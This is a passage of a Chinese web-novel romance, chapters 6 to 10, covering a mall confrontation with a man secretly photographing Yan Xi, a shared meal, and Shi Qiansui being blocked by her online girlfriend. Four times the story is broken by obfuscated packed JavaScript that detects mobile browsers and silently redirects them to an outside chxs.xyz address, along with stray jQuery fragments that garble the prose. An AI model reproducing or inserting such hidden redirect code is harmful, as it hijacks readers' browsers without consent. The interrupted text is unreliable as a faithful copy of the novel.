;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084758|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
时千金收回思绪,看了眼眼前站得笔直的人,勾起唇,“行,缺钱跟我说,走吧,别让千岁等太久。”
大春不自觉松了口气,将拳套细心放好,转身往出走。
腰上突然环上了一双手。
时千金的声音随之出现,“等下,忘了件事。”
“给姐姐摸摸腹肌。”
说着便把手伸进了衣服,沿着清晰的线条细细摩挲。
感受到时千金的动作,大春浑身一僵,微弱的电流感从指尖碰触的那处徐徐蔓延,她脸颊滚烫,猛地退后一大步,摆脱了那只作乱的手。
她目光颤动,语气慌乱,“我..先出去了。”逃似的往外走。
时千金回味似的捻了捻指腹,追上去,掌心贴上了大春挺翘的臀。
拍了拍。
大春这次连脖子都红了,夺门而逃。
时千金目光幽幽,不紧不慢地跟在身后,笑得像狐狸。
...
时千岁坐在餐桌旁认真地扣手机,嘴角的笑一直没落下来,她刚刚和女朋友确定了见面的时间和地点。
明天晚上八点,“冬藏”酒吧。
还有时间精心准备。
时千岁在心里计划了一番,起身准备出门。
刚一转身,就撞上了从卧室出来的大春和时千金。
怎么看上去慌里慌张的呢?时千岁狐疑。
“你俩干什么了?”
时千金放慢脚步,把视线从大春身上移开,神色如常,“我们能干什么,倒是你,”她看向桌子上包装完好的餐食,“心心念念的香辣蟹怎么不吃了?”
时千岁往门口走,“没时间了。”
时千金皱起眉头,朝大春招手。
大春犹犹豫豫上前。
时千金:“.....”至于怕成这样?
她交代,“给你任务,看好千岁,有什么情况及时给我打电话。”
收到命令,大春严肃起来,“嗯”了一声,跟了出去。
时千金望着大春利落离去的背影,心道,正是情窦乱开的年纪,怎么这根木头就不会开花呢?
...
两人离开家,直奔市中心最大商场,SPA国际时代。
正是休息日,再加上临近饭点,商城里人群熙熙攘攘,热闹非常。
时千岁越过人群,往电梯方向张望。
一眼就在那条排起的长龙里发现了一张熟悉的脸。
冷艳逼人,惹人注目。
这不是那位冰坨子“姐”吗?
冤家。
前脚从自家离开后脚又偶遇上了,小说都不敢这么写。
时千岁把目光从那张过于漂亮的脸上撕下来,又看向与她同行的人。
呦,约会啊。
她暗戳戳地视线来回在两人身上打量。
该说不说,冰坨子姐无论是身材还是长相确实没得挑,天菜级别,旁边那位男士...也是个男的。
大腹便便。
糟心的三角眼。
..略猥琐。
时千岁吐槽。
可真没品。
她犹豫片刻,决定走扶梯,避开这位每次遇到都让她节节败退的冰坨子姐。
转身的一瞬间,眼尾余光准确无误地抓住了那男人的小动作。
只见那人趁言浠不注意,掏出了手机,从她背后做了个抓拍的动作。
那双猥琐的眼睛还色眯眯地打量着。
时千岁猛地停下脚步。
冷言问向身后大春。
“作为社会好青年,最重要的品质是什么?”
大春:“???”
时千岁自问自答。
“正义!”
大春:“.....”
好一个正义,她怎么就不信呢...
“走!”时千岁招招手,小腿一迈,朝言浠走去。
7. 第 7 章
时千岁费力地挤过人群,还是晚了一步。
她看着缓缓上行的电梯,分析着两人的目的地。
这个点,约会的话,也就只能相约午餐了,总不能和自己一样来逛衣服吧,时千岁可不觉得那位冰坨子姐有这等闲情逸致。
她乘下一部电梯,直奔顶层。
SPA时尚国际一整个顶层全是餐馆,时千岁一家一家扒着窗户寻找,终于在一家环境雅致的私房菜馆内再次看到言浠身影。
还挺会选,这家味道在临海算得上数一数二了,时千岁和她姐来过一次,印象不错。
时千岁隔着厚厚的玻璃观察了几秒。
两人相对而坐,那男人此刻收起了猥琐目光,言谈举止看上去也礼貌得体。
呵,真虚假。
是时候轮到她这个英雄出场撕碎这人虚伪的假面了。
时千岁交代了大春一件事,随后独自推门而入,径直走到两人身边,站定,抬手打了个招呼,“你好,”然后大剌剌往言浠身边一坐。
在场两人均是一愣,终止了谈话。
时千岁托着腮,侧目望着言浠,悠悠道,“约会呢?没打扰吧?”
不知是不是错觉,言浠总觉得这语气带了一丝不同的味道,她微微皱起眉,疑惑地看着这个莫名其妙蹦出来的小家伙。
一旁的男人眼底闪过一丝不悦,碍于面子,又不得不强行拉出一抹笑,看起来违和极了。
“你们认识?”
时千岁一怔,心虚地垂下眼睫,眼尾余光觑着言浠,期待她的回答,说认识,太牵强,至少两人还没熟到一张桌子上吃饭的地步,说不认识吧,又两天见了三面,在某种层面上来讲何尝不是一种缘分?
这回总不能让她下不来台吧。
她可不想又热脸贴了冷屁股。
时千岁屏息等待。
言浠默了两秒,简单地“嗯”了一声,表示了肯定。
时千岁顿时长松一口气,嘚瑟地朝男人挑了挑眉。
男人:“???”
他隐隐有些恼怒,这被横插一杠不说,怎么还坐下不走了?稳了稳,还是保持住了笑容,“我和言老师还有些重要的事情要谈。”言外之意很明显。
时千岁却是成功抓住了那两个熟悉的字眼,脱口而出,“老师?你也是老师?”不对啊,她不是在她家公司工作吗?
时千岁疑惑。
言浠眸光微微一震,用力捻了捻手指,恢复镇定。
她端过一套崭新餐具,放到时千岁面前,略过她的问题,冷面面向男人,“要是不聊工作,我们就没什么可聊的了。”
工作啊,看来又误会了,借工作之名泡妞,这种欺骗性行为真够掉档次的,时千岁心里对那人的鄙夷又多了几分。
男人脸上的笑有点维持不住了,眸光一沉,语气不善,“言老师不至于吧,只是吃个饭而已,这都不行?这么不给面子是不想合作了吗?”
时千岁听出了这话里的威胁,眉头一紧,抢先一步出言讥讽,“呦,给你面子?”冰坨子姐都不给自己面子呢,“凭什么给你面子?”
“既然知道是合作关系,那冰..”时千岁叫习惯了一时没改过来口,她强行舌头转了个弯,“那言浠姐,她就有同等的选择权利,所以,你猪鼻子插大葱装什么象呢?”
男人根本没想到眼前这个看起来有几分柔弱的小姑娘一开口会如此犀利,一时之间也是愣住了,回过神来火气直冲脑门。
他猛一拍桌子,“你骂谁是猪呢?”
桌面震了震,发出极大一声响,时千岁的心脏也随之震了震,她身子下意识往后一缩,眼睛望向门口,去寻觅大春的身影。
身后伸过来一只手,稳稳地扶在了她的背后,透过衣服渗到皮肤上的温度微凉,却有力量,像是提醒,更像是无声的安抚。
——别怕,有我在。
时千岁的心落到了实处,她挺直了身子,瞪了过去,目光又停留在那人滚圆的肚子上,“不然你照照镜子呢?”
男人的脸涨成了猪肝色,他站起身捏紧了拳头,又在大春进门的瞬间松开了手,这身高,这线条,怎么还带保镖了?
他气焰消失,最后落下一句毫无杀伤力的话,“没教养,”拿起旁边的包,就要走。
“我让你走了吗?”时千岁往后一靠,跷起二郎腿。
大春往前几步,挡在了男人跟前。
男人后退一步,“干什么?什么意思?”
时千岁指尖敲了敲桌子,“没什么意思,偷拍的照片亮出来也让我欣赏下?”
男人眼底闪过一丝慌乱,极力稳着声线,“什么偷拍?莫名其妙!”
大春拿出手机,点开屏幕把刚刚从管理处调取的监控横到他眼前,上边清清楚楚显示着这人趁着言浠未防备之时的偷拍行为。
证据确凿。
这就是时千岁交代大春办的事。
“我厉害吧?”时千岁挑眉邀功。
未等到回应,她偏头看向身侧,只见言浠脸色前所未有的阴沉,漆黑色的眸子如深不见底的寒潭,散发着浓浓的危险。
好可怕,时千岁甚至觉得周边温度都降下来了,不自觉打了个寒颤。
此刻向这边投过来的视线越来越多,周遭议论声刺耳。
男人脸红了几个度,向前逼近一步,气急败坏地指着时千岁,破口大骂,“你有病啊,关你什么事啊?我们又不是不认识,拍个背影怎么了?犯法了?”
时千岁向言浠身后缩了缩,刚要出口反击,便听一个冷冽的声音从身前传出。
“我允许了吗?”
气场强大,震慑人心,如一把裹挟着层层寒气的长刀,直直地刺向那人,她视线盯着那人指在空中的手,问,“手不想要了?”
时千岁紧张地咽了口口水,直觉,现在要是有把刀,冰坨子姐真能把这人手砍下来。
时千岁不由得想起昨天她莽撞的举动,呼吸一滞,遍体生寒。
她在背后双手合十,谢谢冰坨子姐不和她计较。
男人显然也被这气场吓到了,他看看始终守着他的大高个,又看看冷脸逼视着他的言浠,哪个都不好惹,心里衡量一番,退缩了。
他摸出手机,当面把照片删了,提包仓惶跑路。
闹剧结束。
餐厅重归热闹。
时千岁朝大春使了个眼色,蹑手蹑脚向门口挪,虽然她是做好事,但好像无意中搞黄了冰坨子姐的工作,赶紧逃命为上策,省得殃及池鱼。
见识了言浠强大的气场,她再没有了以前的嚣张,怂得像只夹着尾巴的猫。
“站住。”
言浠的声音从背后出现。
平静的,没有起伏的,但时千岁心脏还是狠狠地撞了一下胸膛,脚步扎根在了原地。
她深呼吸了几下,强压下那突如其来的紧张感,磨磨蹭蹭转身,勉强笑了笑,“那什么..还有事?没事的话..”
言浠紧盯着她的眼睛,薄唇开阖,“不吃饭了?”
时千岁被那双幽冷的眸子看得心里直
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084759|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发毛,连声拒绝,“不..不了,我不饿..”肚子却不争气地“咕噜”叫了一声。
时千岁:“.....”
言浠坐回餐桌旁,屈指敲了敲身侧的位置,示意她过来坐。
时千岁慢慢挪动脚步,坐到她身侧,腰杆笔直,看起来乖巧极了。
这一举动,简直看呆了大春。
这人居然能压得住千岁姐。
太厉害了。
她不由得在心里给言浠比了个赞。
...
服务员送上了四菜一汤,全是店内招牌菜系。
大春坐在对面,给时千岁烫好了餐具递了过去,“喝汤吗?千岁姐。”
“我来吧,”言浠接过瓷碗,盛了一碗枸杞山药排骨汤推到时千岁面前,“多喝点,补气血。”
时千岁惊愕片刻,讷讷道,“谢谢。”
她低头搅动汤匙,看到中间漂浮的姜丝,皱起了眉头,言浠观察到这细微的表情,又盛了一碗,把那碗有姜丝的调换到自己面前。
时千岁又是一愣,再次别扭地道了声谢,同时心里打起了鼓,冰坨子姐突然这么贴心,该不会要找她算账吧..
愣神之际,言浠拿起公筷给她布菜,甚至把辛辣刺激的调料一一挑了出来。
时千岁舀了口汤送进嘴里,心里更忐忑了,像极了等待宣判的罪人。
大春抬眼,不动声色打量着两人,怎么看怎么觉得这二人有种说不上来的cp感。
言浠在沉默中开口,“今天这人,我跟他只是工作关系,仅此而已。”
汤匙掉落在瓷碗中发出清脆一响,时千岁愣愣地“啊”了一声,不明所以。
她偏头望向言浠,言浠低头专注吃饭,没有了再开口的意思。
时千岁在心里回味着她那句没头没尾的话,突然间茅塞顿开。
冰坨子姐是在专门和她解释这不是约会?
可是有必要吗?她又不瞎。
...
这一顿饭,时千岁吃得很好不自在,大春是个沉闷性子,冰坨子姐更不用说了,解释完那一句就再也没开过口。
可给她憋坏了。
时千岁拿纸巾擦了擦嘴角,起身向言浠告别,“多谢款待,就此别过。”
大春却拦住了她,“千岁姐,先吃药。”
时千岁:???
“千金姐交代我看好你。”
大春动作很快,不给时千岁拒绝机会便奔向了后厨,她想,千岁姐在这位叫言浠的女人面前一向服帖,说不定这次也一样。
她让服务员热好了药,端过来放到时千岁面前。
时千岁皱着眉,一副苦大仇深的表情。
“千金姐说,灌也要灌进去。”
“千金姐千金姐,就知道你的千金姐!”时千岁看着大春的架势,好像根本不打算放过自己,认命似的端起了盛药的瓷碗。
刺鼻的草药味逼近。
胃不听话的翻江倒海。
时千岁被顺利逼出了眼泪。
一片雾蒙蒙中,身侧女人低头从包中摸索着什么,不多时掏出几个彩色包装的东西推到时千岁跟前。
时千岁努力挤走那不争气的泪水,看清了包装纸上边的字样。
水果糖?
时千岁惊愕地看着言浠,眨眨眼,亮晶晶的。
所以这是给她准备的?
言浠托着腮,回望过来,细长的手指点了点桌面上的糖果。
说。
“还要我喂你?”
8. 第 8 章
言浠这张脸,无论哪个角度都是这么的无懈可击。
纤长浓密的睫毛下,一双有故事性的眼睛里尽态凉薄,偏偏看向她时无端端生出一抹温柔,时千岁沉浸其中,仿佛不能自拔。
直到言浠再次出言提醒。
“嗯?”
语调上扬,像是带了钩子。
勾的时千岁瞬间慌了神。
她垂眸掩饰,“不,不用。”说着端起药碗,掐着鼻子,一饮而尽。
令人作呕的味道在口中横冲直撞,时千岁捂着嘴,像大春招手,示意离去,刚起身又折返回来抓走了桌子上的水果糖。
这才落荒而逃。
言浠看着她背影,不自觉眉目舒展。
等两人彻底走出了她的视线,她向服务员招了招手,叫了瓶红酒。
醒好酒,倒了一杯,小口抿着,翻出手机拨了一电话。
电话才响了一声,就被快速接起。
“喂喂喂。”
“出版的事谈得怎么样?快跟我说说。”
对面是同为作者的韩曲凌,机缘巧合线下相遇,两人自此熟络。
言浠压了口红酒,轻描淡写道,“崩了。”
韩曲凌吃惊,“怎么个事?约你面谈的意思不就是十拿九稳了吗?”
言浠言简意赅地解释了一下来龙去脉。
电话那头沉默了。
许久才开口。
“所以,你刚刚的意思是说,你现实里偶遇“发大水啦”?然后她又搅黄了你这次签约出版?”
言浠“嗯”了声。
韩曲凌没忍住爆了粗口,“我靠。”
“她有病吧?”
言浠不自觉皱起了眉头,冷声打断她。
“别这么说。”
韩曲凌疑惑,“嗯?”
言浠解释,“她做得对,我应该谢谢她。不然我也不打算跟蓝宇文化签约。”
“跟我对接的编辑人品不行。”
一直在私下约她,这种行为对她来讲是骚扰,而且今天还偷拍她照片和同事炫耀,实在是令人作呕。
“员工就代表公司,所以没什么好谈的。”
韩曲凌“嘶”了一声,八卦意味十足,“怎么还维护上了?”
言浠轻轻摇晃着酒杯,视线透过红色的液体看向外边人群,淡淡道,“没有。”
韩曲凌叽叽喳喳,“那那那,我问你,发大水本人长得咋样,胖不胖高不高好看吗?感觉怎么样?”
言浠把手机远离耳朵,“你问题太多了。”
对面笃定,“那就是不好看!”
言浠微微蹙眉,纠正道,“好看。”
韩曲凌惊讶,“真假?她好看你好看?”
时千岁的身影蓦地在脑海里浮现,青春、明媚、俏皮不失可爱,言浠直言,“她。”
韩曲凌要疯了,“天呢?言浠,你知道你在说什么吗?你到底对你自己这张牛逼的脸有没有认知?网文这职业一天天地对着电脑根本没精力身材管理容貌管理,几百万个阴暗扭曲的作者中能挑出来一个你都是老天有眼,你现在跟我说又蹦出来个小美人?你猜我信不信?”
言浠:“...这个阴暗扭曲也包括你?”
韩曲凌一噎,“不可否认我连载的时候确实扭曲,想啃屏幕...不说这个了继续说说你这小徒弟。”
言浠问,“说什么?”
“感觉、感受,想说什么就说什么。”
言浠回忆这两天种种,吐出两个字,“有趣。”
韩曲凌:“.....”
“就没了?”
很皮很嚣张又怂,刚才缩在她身后像个纸老虎,言浠轻笑出声。
电话那头大喊一声,“我滴个老天奶。”
“你笑了?言浠你ooc了!还我生人勿近高冷御姐。”
言浠把杯中最后一口酒喝完,拿起包去前台买单,“我又不是机器人。”
韩曲凌沉默片刻说出心里猜测,“你该不会是跟她聊出感情了吧?”说完又极快地否定,“不可能,你就不是那种隔着屏幕会走心的人,想当年要不是姐脸皮厚,死皮赖脸地跟你做朋友你会搭理我吗?”
言浠眼尾染着酒气,步伐依旧稳健的往外走,“不会。”
“嘿,你这人...”
言浠出言打断她,“我不想再继续这个游戏了。”
韩曲凌语气隐隐有些怒意,“什么意思?你是不是心软了?”
如果早知道发大水皮下是时家女儿,她根本不会选择招惹,言浠默了默,解释,“她还只是个孩子。”
“孩子怎么了?就不能轻易饶了她,最好是见面给她睡了再给她甩了!”
言浠严肃地制止了她,“韩曲凌!”过分了!
韩曲凌听出了她话语中夹杂的冷意,立马改口,“开玩笑的,开玩笑的,我怎么可能不知道你的人品呢,我这人嘴上没把门的,就是犯贱,别介意啊。”
言浠语气柔和不少,“她可是你忠实小粉丝,不怕她脱粉?”
韩曲凌“呵”了一声,十分不屑,“不就是投了几万块钱的雷吗?你可是我姐妹,我肯定向着你。”
言浠嘴角不由得勾起了淡淡笑意,她避开人群,站定,“先不说这个了,借我五十万。”
“借你五十万好啊,借你...什么?”韩曲凌震惊,“五十万?”
“不行吗?”言浠问。
“不不不,你话题转移太快了,我没反应过来,”
本来这次出版要是成功拿下的话稿费正好足够,可惜谈崩了,言浠想解释下,谁料韩曲凌十分痛快地答应了。
“没问题。”
言浠松口气,认真道,“谢谢。”
韩曲凌笑,“你我之间别搞得那么生分,你有困难能跟我开这个口说明你已经真心拿我当朋友了,我努力没白费,想当年你多难接触啊,那时候...”
言浠趁她还在“遥想当年”时,果断地按断了电话。
韩曲凌的短信追了过来。
【你是不是还在临海,我把明天工作推了,见面详谈吧,我还有几家出版社推荐给你。】
推荐出版社是假,想八卦才是真吧,言浠太了解韩曲凌性格了。
...
言浠出了商场,叫了辆出租车往酒店走。
温和的阳光透过车窗洒进来,言浠惬意地倚着靠背,挥散酒气。
一阵电话铃响起。
言浠睁开眸子看向手机,屏幕显示来电人“杨老师”。
杨老师原名杨素琴,年近花甲,无儿无女,一生从事贫困山区教育工作,言浠就是她的学生。
当年费尽周折把她送出来,才有了今日还算风光的言浠。
言浠坐直了身子,按下接听,恭敬地唤了声,“杨老师。”
电话里传来了慈祥温和的女声。
“喂,言言,学校的事情你不用操心了,前几天我和村支书向政府部门提交了申请,看能不能申请下来补贴。”
言浠摇下车窗,呼吸着来自沿海城市清新的空气,“钱的事情解决了,明天给你打过去。”
杨老师连声拒绝。
“不行,言言,你付出得够多了,再说建学校又不是你一个人的事。”
言浠静静道,“工程不能再拖了,年前竣工,孩子们春天就能上学。”
杨老师沉默许久,妥协了。
“你每个月不要再给我打钱了言言,出门在外不容易,对自己好点,有时间回来看看。”
言浠自从出来后就再也没回过出生的那片土地,关于那里承载的都是她童年时期不好的回忆。
“老师想你了。”
言浠内心深处某个地方生出了一丝柔软。
“冬天吧,等学校
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084760|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
竣工,我就回去。”
“好。”
...
时间一晃,来到晚上。
时千岁和大春提着大包小包大扫荡归来。
正在厨房烧菜的时千金提着锅铲出来,打眼一看,目光定格在大春身上,“嚯,你这是把商场搬回来了?瞧把我的大春累的。”
大春耳尖悄悄地红了,“不,不累。”
时千岁全然没发现两人的异样,只顾往楼上冲,“对对对,快去心疼你的大春吧,我要去试衣服了,等下别打扰我。”
大春:“.....”
“我也去。”
说着便追着时千岁的脚步三步并作两步飞一般地逃上了二楼。
时千金:“.....”
体育生就是好,跑得够快,一看体力就很好。
...
时千岁回到卧室,开始换衣服。
她几乎把应季所有款式的衣服都买了个遍,她对着镜子换了一套又一套,拿不定主意。
回头问大春,“你觉得哪件好看?”
大春显然有点心不在焉。
慢半拍回神。
“都..都好看。”
时千岁拧眉,不满道,“你是不是在敷衍我?”
大春抿了抿唇,“没有。”
时千岁:“.....”
时千岁不死心,凑到她眼前,踮起脚尖转了个圈。
“你说我女朋友喜欢什么风格的?”
“清纯乖巧的学院风还是青春靓丽的甜妹?是成熟性感的还是热情火辣的?”
大春定定地望着她,“不知道。”
时千岁:“.....”
“给点意见啊,”其实别看她在网上那么奔放,现实还是很紧张的,时千岁搓了搓手,期待地看着大春,“如果是你,你喜欢什么类型的?”
喜欢什么类型?
不知为何,大春脑海中蓦地蹦出了时千金的身影,眼神炙热,笑意盈盈。
大春一惊,使劲摇了摇头,把时千金强行从脑海中驱逐了出去,语气有些慌乱道,“你怎么不直接问她?”
好像也是。
时千岁坐到了床上,紧张地拿起了手机,心里打起了小九九。
要不直接爆照吧,起码让女朋友知道自己长什么模样心里好有个准备,降低见光死风险。
“嗡。”
手机震了下。
时千岁一紧张“嗖”地甩掉了手机。
她做了好几个深呼吸,才稳定好情绪。
重新捡起来。
屏幕上显示来信人秦梦乐。
时千岁极为恼火。
真会挑时候发消息,害她差点吓死。
秦梦乐说:【千岁,上次的事情对不起,我不该把视频发群里,明天我做东我们聚一聚...】
时千岁都没有耐心看完,匆匆关闭了聊天框。
开始呼叫女朋友。
【老师老师老师!】
她精心挑选了三张完美角度的自拍发了过去:【(图片)(图片)(图片)老师我明天穿哪件去见你?】
【还是...不穿?】
时千岁又深呼吸,克制住微微发颤的指尖,打字道。
【老师,你呢?】
【先看看照片?】
时千岁焦灼地等待着,一分钟、两分钟...发出去的消息却如同石沉大海。
她坐不住了,再次拿起手机。
【你要不愿意也没事,到时候你给我打个信号,亲我一口,我就知道是你了。】
点击发送。
页面随即蹦出了一条消息。
时千岁随之瞪大了双眼,震惊当场,如遭雷击。
【对方开启了朋友验证,请先发送验证...】
并随之一个刺目的红色感叹号。
!
9. 第 9 章
事情发展太快,大脑根本做不出任何反应。
时千岁两眼失神,整个人像是被施了定身咒,动也不动。
直到大春急迫的声音,由远及近,闯入脑海。
“千岁姐?”
“怎么了?”
时千岁发散的视线慢慢聚焦,最后定格在那个红色的感叹号上,情绪翻江倒海,眼泪无声滴落。
她用手背胡乱抹了抹脸颊的泪水,喃喃道,“为什么?”
“什么为什么?”大春急问。
时千岁像是瞬间被抽干了所有力气,瘫倒到床上,“我好像...失恋了。”
刚才不还好好的?大春疑惑。
时千岁视线聚焦到大春身上,一把抓住她的手,如同抓住救命稻草,“我给她发完照片之后她就给我删了,她什么意思?”
大春抿唇不解。
时千岁追问,“她是不是没看上我?是不是嫌我丑?”
大春连忙否认,奈何语言贫瘠,“怎..怎么可能?”
时千岁慢慢松开了手,把自己重新瘫到了床上,眼泪埋进枕头里,“出去吧,让我自己静一静。”
大春在床边伫立好久,见时千岁始终没有再开口的意思,便一步三回头地离开了卧室。
时千岁慢慢爬起来,关上灯拉紧了窗帘,又再度回到了床上把自己裹进了毯子里,任黑暗吞噬,悲伤蔓延。
十九岁的年纪,最天真热烈的年纪,对爱情抱有最美好的幻想。
轰轰烈烈、刻骨铭心。
时千岁的第一段恋爱虽说是网恋,但同样注入了百分百的感情、期待,期待以后期待未来。
可现实呢。
现实被莫名其妙地抛弃。
甚至连句敷衍的解释都没有。
悲伤、不甘、愤怒、不解,各种情绪交织,与黑夜编织成了密不透风的大网,紧紧包围着她,令她窒息。
这夜,是时千岁人生中第一次失眠,整夜辗转反侧,一遍又一遍地翻看两人的聊天记录,直至天光大亮,日头高悬。
....
大春第五次来到时千岁卧室门口,见大门依旧紧闭,她把耳朵贴到了门上。
听了好一会,里边都没有发出一丁点响声。
大春心慌得不行,内心斗争许久,决定前去求助时千金。
大春小跑下楼,敲响了书房的门。
“进。”
大春推门而入,胸口大幅度起伏着。
时千金一见她就笑了,放下手中的文件,“这么急?想我了?”
大春摇摇头,“不是,千岁姐好像出事了。”
“什么?”时千金敛起笑容,严肃得不能再严肃,“说清楚。”
大春低下头,像个做错事的孩子。
“千岁姐失恋了,把自己关在屋子一天一夜,我怕她..”
时千金猛地站起身,“失恋?”她越过大春大步向前走,“我让你看着千岁,有什么消息跟我讲,你可倒好,跟我这玩谍中谍呢?”
哪是谍中谍,明明是肉夹馍,一个让说一个不让说,她夹在中间好难受,大春有点委屈。
时千金停下脚步,眼神意味不明,“晚点来我房间,姐姐跟你好好聊聊。”
大春肩膀一颤,低低应道,“嗯。”
...
时千金来到卧室门口,拍响了大门,上来前她劝了自己好多遍要冷静,但话一出口,还是没有压制住声调。
“时千岁,你开门。”
“不开我就去拿备用钥匙!”
静了片刻。
时千岁终于开口了。
“门没锁,进来吧。”
声音沙哑,有气无力的,像是哭了很久。
时千金心疼又内疚。
如果她能再多关心一下妹妹就好了。
她轻轻推开门。
走廊里的光亮投射了进来,为这个暗阒阒的房间增了一点生气。
时千金绕到窗户前,把严丝合缝的窗帘全部拉开。
房间霎时间变得明亮,晃眼。
时千岁把毯子蒙到了头上整个人缩成了一团。
时千金坐到床边那小鼓丘旁,戳了戳,柔声问,“你一直没吃东西?”
时千岁闷闷的声音自里传出。
“嗯。”
时千金故作轻松,“跟姐聊聊?”
聊,有什么好聊的,聊她莫名其妙被甩了?呵呵,天大的笑话,时千岁沉默不语。
时千金试探性问,“你俩进行到哪一步了?”
她最担心就是这个。
妹妹年龄小本就识人不清,再加上条件又优越,很容易被居心叵测的人渣盯上,万一被人骗心骗身...时千金被这一想法吓得冷汗都出来了,她手上劲头不自觉就加大了,“说话啊!”
“那男的多大了?哪里人?怎么认识的?”
时千岁不耐烦的“啧”了一声,“女的。”
“还没上床。”
“听见了?开心了吧?”
女的啊,还好不是臭男的,时千金刚松一口气,又咀嚼了一遍那两个字,猛地提高音量,“什么玩意?时千岁你喜欢女的?”
时千岁:“那咋了,有问题?”
“还那咋了?”时千金在她头顶上轻轻拍了一下,“这就是你的秘密?”
吃痛,时千岁闷闷地“哼”了一声。
时千金揉了揉她的脑袋,无奈叹气,“没问题,但这事绝对不能让
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084761|163556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爸妈知道。”
母亲梁舒的态度不清楚,但父亲时来运平时很注重教养和家规,是个传统意义上的男人,谈不上古板,但谈及本质,骨子里还是难以磨灭的封建。
“别看平时他们宠你、惯你,但要是让爸知道,他绝对会打断你的腿。”
“别念了别念了,”时千岁快头疼死了。
“我又不傻。”
“再说,我说我是同性恋,有人信吗?你见哪个同性跟我恋了?”
怎么开始妄自菲薄了?
真受刺激了?
至于吗?不就是个女人,时千金恨铁不成钢,“说说吧,姐开导开导你。”
时千岁从毯子里伸出一只手,把手机递出来。
“自己看。”
时千金接过手机,划开聊天记录,逐字查看,渐渐眉头拧成绳。
“时千岁,这人是小号啊。”
时千岁从毯子里探出个头,红彤彤的眼睛满是不可思议,“你怎么知道?”
时千金一副看傻子的表情,“哪个正常人微信头像是空白图,甚至连名字都懒得起?你自己想,她是不是从来没发过朋友圈?”
还真是,时千岁心里咯噔一声,毯子里的手骤然收紧,难不成她被耍了?
时千金忍不住摆出了年长者的姿态,恨铁不成钢地教育她这个不争气的妹妹。
“这就是你说的谈恋爱?”
“时千岁你的单纯程度让我叹为观止!”时千金特意找了个委婉的措辞维护下她脆弱的自尊心。
又止不住地担忧,人怎么可以自我攻略成这个样子,对面这么人机,都能上头成这样,“这要是杀猪盘,都能给你忽悠瘸了,你一个人就可以贡献几年的kpi!”
“你说谁是猪呢?再说,”时千岁心存侥幸,“她才不图我钱呢,我给她打钱她都不要!”
这是什么顶级恋爱脑!时千金气急了。
“别人轮回你秒回,一张稍微露骨的小照片你就要当人家的狗,别人勾勾手你是不是要跪舔啊?”
时千岁沉默不语,只是一味脑补这个画面。
时千金:“???”
嘿,说中了?
时千金气笑了,“瞧你那不值钱的样子。”
这话听着刺耳,时千岁不自觉拧起了眉头。
时千金继续输出,“连人家名字长相都不知道至于要死要活的?”
“人就是逗你玩,你还当真了!”
时千岁脑子嗡的一声,时千金语气讥讽的“逗你玩”在脑海里盘旋叫嚣、挥之不去。
她讷讷道,“那我们在一起的这三个月算什么?”
时千金哂笑一声,“算你一厢情愿。”
“算你倒霉!”
10. 第 10 章
时千岁的所有情绪此时统统化为了愤怒,又在时千金落在她耳边那句“你什么时候能长大”时,占据了顶峰。
她怒瞪时千金,“你来就是为了嘲笑我,为了损我的?”
时千金这次不打算惯着她,“我不这么说,你能长记性?”
“这么大个人了连个基本的辨别能力都没有!”
“一次这样,两次呢?被人骗钱是小事,骗身骗心怎么办?”
时千金的话像把刀子,把她仅剩的自尊捅了个稀巴烂,时千岁眼泪在眼眶里打转,吼道,“不要你管!”说着跳下床,夺门而出。
时千金的声音在她背后飘荡。
“你干什么去?”
“我跟你说,爸妈明天就回来了...”
时千岁充耳不闻。
她跑下楼,随手勾起一把车钥匙,大春一如往常一样跟了上来。
时千岁站住脚,语气压抑低沉,“我想自己静一静,行吗?”
大春犹豫之际,时千岁钻进了一辆黄色法拉利中。
油门一踩,跑车在一片轰鸣声中绝尘而去。
...
华灯初上,五彩斑斓的灯光在茫茫夜色中跳起了舞,把整个城市渲染得热闹非常。
言浠从出租车上下来,目光复杂地注视着眼前“冬藏”酒吧的大门。
也不知道韩曲凌哪根筋不对,好巧不巧非要约在这里。
万一她来了...
